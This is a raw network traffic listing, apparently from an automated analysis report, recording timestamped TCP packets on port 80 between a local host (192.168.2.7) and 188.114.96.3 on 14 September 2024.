Sep 14, 2024 18:44:30.779481888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779495955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779515028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779560089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779572010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779625893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779659986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779674053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779695034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779727936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779742956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779759884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779793024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779807091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779827118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779860020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779872894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779894114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779927015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779939890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.779959917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.779993057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780004978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780025005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780059099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780066967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780092955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780127048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780138969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780160904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780194044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780209064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780227900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780261040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780271053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780288935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780319929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780335903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780354977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780366898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780388117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780400038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780424118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780457020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780468941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780510902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780543089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780554056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780595064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780627012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780641079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780661106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780694008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780700922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780728102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780762911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780776024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780797005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780831099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780843973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780864954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780900002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780910969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.780934095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780966997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.780980110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781006098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781038046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781052113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781071901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781105042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781120062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781138897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781172991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781184912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781205893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781241894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781251907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781279087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781323910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781332016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781367064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781398058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781411886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781449080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781491041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781500101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781534910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781569004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781580925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781604052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781639099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781646013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781691074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781724930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781740904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781759977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781794071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781806946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781829119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781873941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781878948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781914949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781948090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.781961918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.781981945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782011986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782027006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782046080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782079935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782095909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782114983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782152891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782164097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782186031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782219887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782233000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782254934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782288074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782300949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782324076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782357931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782371998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782391071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782424927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782435894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782459021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782489061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782500029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782524109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782557011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782572031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782591105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782624960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782638073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782660961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782694101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782707930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782727957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782761097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782769918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782794952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782828093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782840014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782862902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782908916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.782916069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782948971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782982111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.782994032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783015966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783047915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783061028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783083916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783116102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783129930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783150911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783184052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783196926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783217907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783246994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783282042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783282995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783317089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783320904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783349991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783394098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783382893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783442020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783480883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783483982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783514977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783546925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783576012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783592939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783607960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783611059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783642054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783673048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783684015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783705950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783737898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783747911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783771038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783799887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783817053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783833981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783865929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783878088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783896923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783930063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783943892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.783962965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.783997059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784009933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784024954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784056902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784070015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784090042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784122944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784135103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784156084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784188986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784200907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784224033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784255981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784267902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784336090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784369946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784384012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784462929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784496069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784508944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784529924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784562111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784574032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784595013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784627914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784641981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784662962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784694910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784708977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784729004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784760952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784774065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784795046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784825087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784842968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784873009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784876108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784900904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784909010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784941912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.784951925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.784976006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785007000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785018921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785041094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785073042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785085917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785104990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785134077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785147905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785166979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785198927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785211086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785233021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785267115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785278082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785299063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785331011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785343885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785365105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785397053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785410881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785429955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785463095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785469055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785496950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785528898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785542011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785562038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785594940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785609007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785626888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785660982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785670042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785695076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785727978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785737038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785761118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785799980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785805941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785835028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785866976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785878897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785900116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785933971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.785945892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.785968065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786000013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786011934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786031961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786062002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786073923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786096096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786128998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786140919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786161900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786195040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786206961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786231041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786264896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786277056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786298990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786333084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786344051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786354065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786370039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786385059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786393881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786398888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786413908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786421061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786432981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786448002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786457062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786462069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786478043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786479950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786494017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786508083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786514997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786525011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786539078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786541939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786555052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786571026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.786573887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.786604881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:31.973000050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:31.977896929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.075917006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.078774929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.083663940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.180969000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181236029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181273937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181308031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181310892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181341887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181349993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181377888 CEST	80	54891	188.114.96.3	192.168.2.7
